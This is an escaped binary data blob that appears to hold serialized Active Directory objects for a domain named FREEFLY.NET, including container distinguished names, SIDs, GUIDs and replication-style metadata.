\\x00\\x00\\x00-\\x02\\x00\\x00\\x05\\x00(\\x00\\x00\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x9c6\\x0f(\\xc7g\\x8eC\\xae\\x98\\x1dF\\xf3\\xc6\\xf5A\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x05\\x0b\\x00\\x00\\x00\\x05\\x00(\\x00\\x00\\x01\\x00\\x00\\x01\\x00\\x00\\x00}\\xdc\\xc2\\xcc\\xad\\xa6zJ\\x88F\\xc0N<\\xc55\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x05\\x0b\\x00\\x00\\x00\\x05\\x00(\\x00\\x00\\x01\\x00\\x00\\x01\\x00\\x00\\x00^L\\xc7\\x05\\xebM\\xb4C\\xbd\\x9f\\x86fL*\\x7f\\xd5\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x05\\x0b\\x00\\x00\\x00\\x05\\x00(\\x00\\x00\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\xae\\xf61\\x11\\x07\\x9c\\xd1\\x11\\xf7\\x9f\\x00\\xc0O\\xc2\\xdc\\xd2\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x05\\t\\x00\\x00\\x00\\x05\\x00,\\x00\\x00\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\xae\\xf61\\x11\\x07\\x9c\\xd1\\x11\\xf7\\x9f\\x00\\xc0O\\xc2\\xdc\\xd2\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05 \\x00\\x00\\x00 \\x02\\x00\\x00\\x05\\n(\\x000\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\xdeG\\xe6\\x91o\\xd9pK\\x95W\\xd6?\\xf4\\xf3\\xcc\\xd8\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x05\\n\\x00\\x00\\x00\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05 \\x00\\x00\\x00 \\x02\\x00\\x00\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05 \\x00\\x00\\x00 \\x02\\x00\\x00\\x01\\x00\\x00\\x00\\x0e\\x00\\x00\\x00\\xe4\\x00\\x02\\x00\\x0e\\x00\\x00\\x00F\\x00R\\x00E\\x00E\\x00F\\x00L\\x00Y\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\xec\\x00\\x02\\x00\\x08\\x00\\x00\\x00\\xe4\\xb6\\x96\\\\G\\xd1\\xd0\\x01\\x01\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\xf4\\x00\\x02\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x01\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\xfc\\x00\\x02\\x00\\x08\\x00\\x00\\x00\\x00\\xcc\\x1d\\xcf\\xfb\\xff\\xff\\xff\\x01\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x04\\x01\\x02\\x00\\x08\\x00\\x00\\x00\\x00\\xcc\\x1d\\xcf\\xfb\\xff\\xff\\xff\\x01\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x0c\\x01\\x02\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x14\\x01\\x02\\x00\\x08\\x00\\x00\\x00\\x00\\x80\\xa6\\n\\xff\\xde\\xff\\xff\\x01\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x1c\\x01\\x02\\x00\\x08\\x00\\x00\\x00\\x00@\\x96\\xd56\\xff\\xff\\xff\\x01\\x00\\x00\\x00\\x04\\x00\\x00\\x00$\\x01\\x02\\x00\\x04\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x08\\x00\\x00\\x00,\\x01\\x02\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x04\\x00\\x00\\x004\\x01\\x02\\x00\\x04\\x00\\x00\\x00\\xe8\\x03\\x00\\x00\\x01\\x00\\x00\\x00\\x04\\x00\\x00\\x00<\\x01\\x02\\x00\\x04\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x04\\x00\\x00\\x00D\\x01\\x02\\x00\\x04\\x00\\x00\\x00\\x18\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x18\\x00\\x00\\x00L\\x01\\x02\\x00\\x18\\x00\\x00\\x00\\x01\\x04\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\x98\\xb7\\xba\\xeb^\\xc4g\\x7fy2s\\xab\\x01\\x00\\x00\\x00\\x04\\x00\\x00\\x00T\\x01\\x02\\x00\\x04\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\\\\\x01\\x02\\x00\\x02\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x04\\x00\\x00\\x00d\\x01\\x02\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x90\\x00\\x00\\x00l\\x01\\x02\\x00\\x90\\x00\\x00\\x00\\x90\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x15C\\x8a\\xe3y\\xe7FO\\x96\\xb1\\xbb\\x89\\xe8(\\xc2\\xed\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00+\\x00\\x00\\x00C\\x00N\\x00=\\x00R\\x00I\\x00D\\x00 \\x00M\\x00a\\x00n\\x00a\\x00g\\x00e\\x00r\\x00$\\x00,\\x00C\\x00N\\x00=\\x00S\\x00y\\x00s\\x00t\\x00e\\x00m\\x00,\\x00D\\x00C\\x00=\\x00F\\x00R\\x00E\\x00E\\x00F\\x00L\\x00Y\\x00,\\x00D\\x00C\\x00=\\x00N\\x00E\\x00T\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x1a\\x01\\x00\\x00t\\x01\\x02\\x00\\x1a\\x01\\x00\\x00\\x1a\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00p\\x00\\x00\\x00C\\x00N\\x00=\\x00N\\x00T\\x00D\\x00S\\x00 \\x00S\\x00e\\x00t\\x00t\\x00i\\x00n\\x00g\\x00s\\x00,\\x00C\\x00N\\x00=\\x00F\\x00R\\x00E\\x00E\\x00F\\x00L\\x00Y\\x00-\\x00D\\x00C\\x00,\\x00C\\x00N\\x00=\\x00S\\x00e\\x00r\\x00v\\x00e\\x00r\\x00s\\x00,\\x00C\\x00N\\x00=\\x00D\\x00e\\x00f\\x00a\\x00u\\x00l\\x00t\\x00-\\x00F\\x00i\\x00r\\x00s\\x00t\\x00-\\x00S\\x00i\\x00t\\x00e\\x00-\\x00N\\x00a\\x00m\\x00e\\x00,\\x00C\\x00N\\x00=\\x00S\\x00i\\x00t\\x00e\\x00s\\x00,\\x00C\\x00N\\x00=\\x00C\\x00o\\x00n\\x00f\\x00i\\x00g\\x00u\\x00r\\x00a\\x00t\\x00i\\x00o\\x00n\\x00,\\x00D\\x00C\\x00=\\x00F\\x00R\\x00E\\x00E\\x00F\\x00L\\x00Y\\x00,\\x00D\\x00C\\x00=\\x00N\\x00E\\x00T\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x04\\x00\\x00\\x00|\\x01\\x02\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x8c\\x0b\\x00\\x00\\x00\\x84\\x00\\x00\\x00\\x84\\x01\\x02\\x00\\x8c\\x00\\x00\\x00\\x88\\x01\\x02\\x00\\x9c\\x00\\x00\\x00\\x8c\\x01\\x02\\x00\\x84\\x00\\x00\\x00\\x90\\x01\\x02\\x00\\x90\\x00\\x00\\x00\\x94\\x01\\x02\\x00\\x94\\x00\\x00\\x00\\x98\\x01\\x02\\x00\\x98\\x00\\x00\\x00\\x9c\\x01\\x02\\x00\\xac\\x00\\x00\\x00\\xa0\\x01\\x02\\x00\\x90\\x00\\x00\\x00\\xa4\\x01\\x02\\x00\\xac\\x00\\x00\\x00\\xa8\\x01\\x02\\x00\\x90\\x00\\x00\\x00\\xac\\x01\\x02\\x00\\x84\\x00\\x00\\x00n\\x00\\x00\\x00\\x00\\x00\\x00\\x00i=*\\xed\\x02\\x83\\xe1K\\x92\\x8aO\\x0c<}D0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1a\\x00\\x00\\x00C\\x00N\\x00=\\x00U\\x00s\\x00e\\x00r\\x00s\\x00,\\x00D\\x00C\\x00=\\x00F\\x00R\\x00E\\x00E\\x00F\\x00L\\x00Y\\x00,\\x00D\\x00C\\x00=\\x00N\\x00E\\x00T\\x00\\x00\\x00\\x00\\x00\\x14\\x00\\x00\\x00\\xa9\\xd1\\xca\\x15v\\x88\\x11\\xd1\\xad\\xed\\x00\\xc0O\\xd8\\xd5\\xcd\\x8c\\x00\\x00\\x00v\\x00\\x00\\x00\\x00\\x00\\x00\\x00>\\x9fS\\x1c\\xff\\x18\\xd9K\\xad\\xe2\\xb9\\xf9\\xbcwJ\\xb0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1e\\x00\\x00\\x00C\\x00N\\x00=\\x00C\\x00o\\x00m\\x00p\\x00u\\x00t\\x00e\\x00r\\x00s\\x00,\\x00D\\x00C\\x00=\\x00F\\x00R\\x00E\\x00E\\x00F\\x00L\\x00Y\\x00,\\x00D\\x00C\\x00=\\x00N\\x00E\\x00T\\x00\\x00\\x00\\x00\\x00\\x14\\x00\\x00\\x00\\xaa1(%v\\x88\\x11\\xd1\\xad\\xed\\x00\\xc0O\\xd8\\xd5\\xcd\\x9c\\x00\\x00\\x00\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x95\\xdf\\xc9\\xb8\\x8f\\x95\\x17L\\x9f\\xa1\\r\\x95\\xaf\\xd5\\xc1\\xd0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\'\\x00\\x00\\x00O\\x00U\\x00=\\x00D\\x00o\\x00m\\x00a\\x00i\\x00n\\x00 \\x00C\\x00o\\x00n\\x00t\\x00r\\x00o\\x00l\\x00l\\x00e\\x00r\\x00s\\x00,\\x00D\\x00C\\x00=\\x00F\\x00R\\x00E\\x00E\\x00F\\x00L\\x00Y\\x00,\\x00D\\x00C\\x00=\\x00N\\x00E\\x00T\\x00\\x00\\x00\\x14\\x00\\x00\\x00\\xa3a\\xb2\\xff\\xff\\xd2\\x11\\xd1\\xaaK\\x00\\xc0O\\xd7\\xd8:\\x84\\x00\\x00\\x00p\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc7N\\xe4\\xc2\\xd96EG\\x81|[\\xf5\\xbcx\\x0e\\xef\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1b\\x00\\x00\\x00C\\x00N\\x00=\\x00S\\x00y\\x00s\\x00t\\x00e\\x00m\\x00,\\x00D\\x00C\\x00=\\x00F\\x00R\\x00E\\x00E\\x00F\\x00L\\x00Y\\x00,\\x00D\\x00C\\x00=\\x00N\\x00E\\x00T\\x00\\x00\\x00\\x14\\x00\\x00\\x00\\xab\\x1d0\\xf3v\\x88\\x11\\xd1\\xad\\xed\\x00\\xc0O\\xd8\\xd5\\xcd\\x90\\x00\\x00\\x00|\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xfb3]!\\xb3C\\x19H\\x84(\\xf5rD\\x80)\\x1c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00!\\x00\\x00\\x00C\\x00N\\x00=\\x00L\\x00o\\x00s\\x00t\\x00A\\x00n\\x00d\\x00F\\x00o\\x00u\\x00n\\x00d\\x00,\\x00D\\x00C\\x00=\\x00F\\x00R\\x00E\\x00E\\x00F\\x00L\\x00Y\\x00,\\x00D\\x00C\\x00=\\x00N\\x00E\\x00T\\x00\\x00\\x00\\x14\\x00\\x00\\x00\\xab\\x81S\\xb7v\\x88\\x11\\xd1\\xad\\xed\\x00\\xc0O\\xd8\\xd5\\xcd\\x94\\x00\\x00\\x00\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xa9\\x11n\\xec\\xab\\xd4YO\\xa9?\\x14\\xdb@(KE\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00#\\x00\\x00\\x00C\\x00N\\x00=\\x00I\\x00n\\x00f\\x00r\\x00a\\x00s\\x00t\\x00r\\x00u\\x00c\\x00t\\x00u\\x00r\\x00e\\x00,\\x00D\\x00C\\x00=\\x00F\\x00R\\x00E\\x00E\\x00F\\x00L\\x00Y\\x00,\\x00D\\x00C\\x00=\\x00N\\x00E\\x00T\\x00\\x00\\x00\\x14\\x00\\x00\\x00/\\xba\\xc1\\x87\\n\\xde\\x11\\xd2\\x97\\xc4\\x00\\xc0O\\xd8\\xd5\\xcd\\x98\\x00\\x00\\x00\\x82\\x00\\x00\\x00\\x00\\x00\\x00\\x00y]\\xf0\\x0b\\xf6\\xd0\\xcbO\\xa6&*\\xeb\\xf5\\xb3L\\x1b\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00$\\x00\\x00\\x00C\\x00N\\x00=\\x00D\\x00e\\x00l\\x00e\\x00t\\x00e\\x00d\\x00 \\x00O\\x00b\\x00j\\x00e\\x00c\\x00t\\x00s\\x00,\\x00D\\x00C\\x00=\\x00F\\x00R\\x00E\\x00E\\x00F\\x00L\\x00Y\\x00,\\x00D\\x00C\\x00=\\x00N\\x00E\\x00T\\x00\\x00\\x00\\x00\\x00\\x14\\x00\\x00\\x00\\x18\\xe2\\xea\\x80hO\\x11\\xd2\\xb9\\xaa\\x00\\xc0Oy\\xf8\\x05\\xac\\x00\\x00\\x00\\x96\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x91\\xf3\\'v\\x92\\xeeWF\\xa7=\\x00\\x06\\'\\xcf\\xd9D\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00.\\x00\\x00\\x00C\\x00N\\x00=\\x00F\\x00o\\x00r\\x00e\\x00i\\x00g\\x00n\\x00S\\x00e\\x00c\\x00u\\x00r\\x00i\\x00t\\x00y\\x00P\\x00r\\x00i\\x00n\\x00c\\x00i\\x00p\\x00a\\x00l\\x00s\\x00,\\x00D\\x00C\\x00=\\x00F\\x00R\\x00E\\x00E\\x00F\\x00L\\x00Y\\x00,\\x00D\\x00C\\x00=\\x00N\\x00E\\x00T\\x00\\x00\\x00\\x00\\x00\\x14\\x00\\x00\\x00\"\\xb7\\x0cg\\xd5nN\\xfb\\x91\\xe90\\x0f\\xca=\\xc1\\xaa\\x90\\x00\\x00\\x00|\\x00\\x00\\x00\\x00\\x00\\x00\\x00!\\xbd\\xd0\\xe0=\\x8d\\xcfF\\xb9\\x95[_\\x11+\\xaf\\xfd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00!\\x00\\x00\\x00C\\x00N\\x00=\\x00P\\x00r\\x00o\\x00g\\x00r\\x00a\\x00m\\x00 \\x00D\\x00a\\x00t\\x00a\\x00,\\x00D\\x00C\\x00=\\x00F\\x00R\\x00E\\x00E\\x00F\\x00L\\x00Y\\x00,\\x00D\\x00C\\x00=\\x00N\\x00E\\x00T\\x00\\x00\\x00\\x14\\x00\\x00\\x00\\tF\\x0c\\x08\\xae\\x1eJN\\xa0\\xf6J\\xee}\\xaa\\x1eZ\\xac\\x00\\x00\\x00\\x96\\x00\\x00\\x00\\x00\\x00\\x00\\x00B\\x99\\x1cL\\x1e\\xddFD\\x94\\xe5\\xe3\\x95\"K\\x87{\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00.\\x00\\x00\\x00C\\x00N\\x00=\\x00M\\x00i\\x00c\\x00r\\x00o\\x00s\\x00o\\x00f\\x00t\\x00,\\x00C\\x00N\\x00=\\x00P\\x00r\\x00o\\x00g\\x00r\\x00a\\x00m\\x00 \\x00D\\x00a\\x00t\\x00a\\x00,\\x00D\\x00C\\x00=\\x00F\\x00R\\x00E\\x00E\\x00F\\x00L\\x00Y\\x00,\\x00D\\x00C\\x00=\\x00N\\x00E\\x00T\\x00\\x00\\x00\\x00\\x00\\x14\\x00\\x00\\x00\\xf4\\xbe\\x92\\xa4\\xc7wH^\\x87\\x8e\\x94!\\xd50\\x87\\xdb\\x90\\x00\\x00\\x00z\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x92*v]O\\xa8\\xdbC\\x92\\x07\\x84\\x80\\xb2D\\x1bM\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 \\x00\\x00\\x00C\\x00N\\x00=\\x00N\\x00T\\x00D\\x00S\\x00 \\x00Q\\x00u\\x00o\\x00t\\x00a\\x00s\\x00,\\x00D\\x00C\\x00=\\x00F\\x00R\\x00E\\x00E\\x00F\\x00L\\x00Y\\x00,\\x00D\\x00C\\x00=\\x00N\\x00E\\x00T\\x00\\x00\\x00\\x00\\x00\\x14\\x00\\x00\\x00b\\'\\xf0\\xaf\\x1f\\xc2A\\r\\x8e;\\xb1\\x06\\x15\\xbb[\\x0f\\x01\\x00\\x00\\x00\\xae\\x00\\x00\\x00\\xb4\\x01\\x02\\x00\\xae\\x00\\x00\\x00\\xae\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc9\\xd9\\xa8\\x16!\\xa7\\xddM\\x8b\\x1f\\xdew\\xe0\\xe3\\xb4\\x07\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00:\\x00\\x00\\x00C\\x00N\\x00=\\x00D\\x00o\\x00m\\x00a\\x00i\\x00n\\x00-\\x00D\\x00N\\x00S\\x00,\\x00C\\x00N\\x00=\\x00S\\x00c\\x00h\\x00e\\x00m\\x00a\\x00,\\x00C\\x00N\\x00=\\x00C\\x00o\\x00n\\x00f\\x00i\\x00g\\x00u\\x00r\\x00a\\x00t\\x00i\\x00o\\x00n\\x00,\\x00D\\x00C\\x00=\\x00F\\x00R\\x00E\\x00E\\x00F\\x00L\\x00Y\\x00,\\x00D\\x00C\\x00=\\x00N\\x00E\\x00T\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\xbc\\x01\\x02\\x00\\x04\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xb8\\x00\\x00\\x00\\xc4\\x01\\x02\\x00\\xb8\\x00\\x00\\x00[\\x00L\\x00D\\x00A\\x00P\\x00:\\x00/\\x00/\\x00C\\x00N\\x00=\\x00{\\x003\\x001\\x00B\\x002\\x00F\\x003\\x004\\x000\\x00-\\x000\\x001\\x006\\x00D\\x00-\\x001\\x001\\x00D\\x002\\x00-\\x009\\x004\\x005\\x00F\\x00-\\x000\\x000\\x00C\\x000\\x004\\x00F\\x00B\\x009\\x008\\x004\\x00F\\x009\\x00}\\x00,\\x00C\\x00N\\x00=\\x00P\\x00o\\x00l\\x00i\\x00c\\x00i\\x00e\\x00s\\x00,\\x00C\\x00N\\x00=\\x00S\\x00y\\x00s\\x00t\\x00e\\x00m\\x00,\\x00D\\x00C\\x00=\\x00F\\x00R\\x00E\\x00E\\x00F\\x00L\\x00Y\\x00,\\x00D\\x00C\\x00=\\x00N\\x00E\\x00T\\x00;\\x000\\x00]\\x00\\x01\\x00\\x00\\x00\\xa8\\x00\\x00\\x00\\xcc\\x01\\x02\\x00\\xa8\\x00\\x00\\x00\\x94\\x00\\x00\\x00\\x00\\x00\\x00\\x001\\xdf\\xae\\x8c\\xc3\\xe2HG\\x95:\\x13\\xdfB\\x03\\xaf\\xca\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00-\\x00\\x00\\x00C\\x00N\\x00=\\x00M\\x00a\\x00n\\x00a\\x00g\\x00e\\x00d\\x00 \\x00S\\x00e\\x00r\\x00v\\x00i\\x00c\\x00e\\x00 \\x00A\\x00c\\x00c\\x00o\\x00u\\x00n\\x00t\\x00s\\x00,\\x00D\\x00C\\x00=\\x00F\\x00R\\x00E\\x00E\\x00F\\x00L\\x00Y\\x00,\\x00D\\x00C\\x00=\\x00N\\x00E\\x00T\\x00\\x00\\x00\\x14\\x00\\x00\\x00\\x1e\\xb98\\x89\\xe4\\x0cE\\xdf\\x9f\\x0cd\\xd2;\\xbbb7\\x01\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\xd4\\x01\\x02\\x00\\x04\\x00\\x00\\x00\\n\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\xdc\\x01\\x02\\x00\\x04\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\xe4\\x01\\x02\\x00\\x04\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\xec\\x01\\x02\\x00\\x04\\x00\\x00\\x00\\xe8\\x03\\x00\\x00\\x01\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\xf4\\x01\\x02\\x00\\x04\\x00\\x00\\x00\\n\\x00\\x00\\x00%\\x00\\x00\\x00%\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xd2\\x19V\\x08\\x03\\x00\\x00\\x00\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\x03\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xd2\\x19V\\x08\\x03\\x00\\x00\\x00\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\x03\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xd2\\x19V\\x08\\x03\\x00\\x00\\x00\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\x03\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00.!a\\x08\\x03\\x00\\x00\\x00\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\xdd@\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xdc\\x19V\\x08\\x03\\x00\\x00\\x00\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\x03 \\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xd2\\x19V\\x08\\x03\\x00\\x00\\x00\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\x03\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x98\\xd5\\x0b\\x03\\x00\\x00\\x00\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\x08\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\xd3\\x00\\x00\\x00\\x00\\x00\\x00\\x00y\\xfe\\xe2\\x0b\\x03\\x00\\x00\\x00\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\x82-\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xdc\\x19V\\x08\\x03\\x00\\x00\\x00\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\x03 \\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xdc\\x19V\\x08\\x03\\x00\\x00\\x00\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\x03 \\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xdc\\x19V\\x08\\x03\\x00\\x00\\x00\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\x03 \\x00\\x00\\x00\\x00\\x00\\x00\\xdf\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xb4]\\xe3\\x0b\\x03\\x00\\x00\\x00\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\xbc-\\x01\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x007\\x1bV\\x08\\x03\\x00\\x00\\x00\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\xf30\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x007\\x1bV\\x08\\x03\\x00\\x00\\x00\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\xf30\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xdc\\x19V\\x08\\x03\\x00\\x00\\x00\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\x03 \\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xdc\\x19V\\x08\\x03\\x00\\x00\\x00\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\x03 \\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xdc\\x19V\\x08\\x03\\x00\\x00\\x00\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\x03 \\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x007\\x1bV\\x08\\x03\\x00\\x00\\x00\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\xf30\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xd2\\x19V\\x08\\x03\\x00\\x00\\x00\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\x04\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\xd3\\x00\\x00\\x00\\x00\\x00\\x00\\x00y\\xfe\\xe2\\x0b\\x03\\x00\\x00\\x00\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\x84-\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xdc\\x19V\\x08\\x03\\x00\\x00\\x00\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\x03 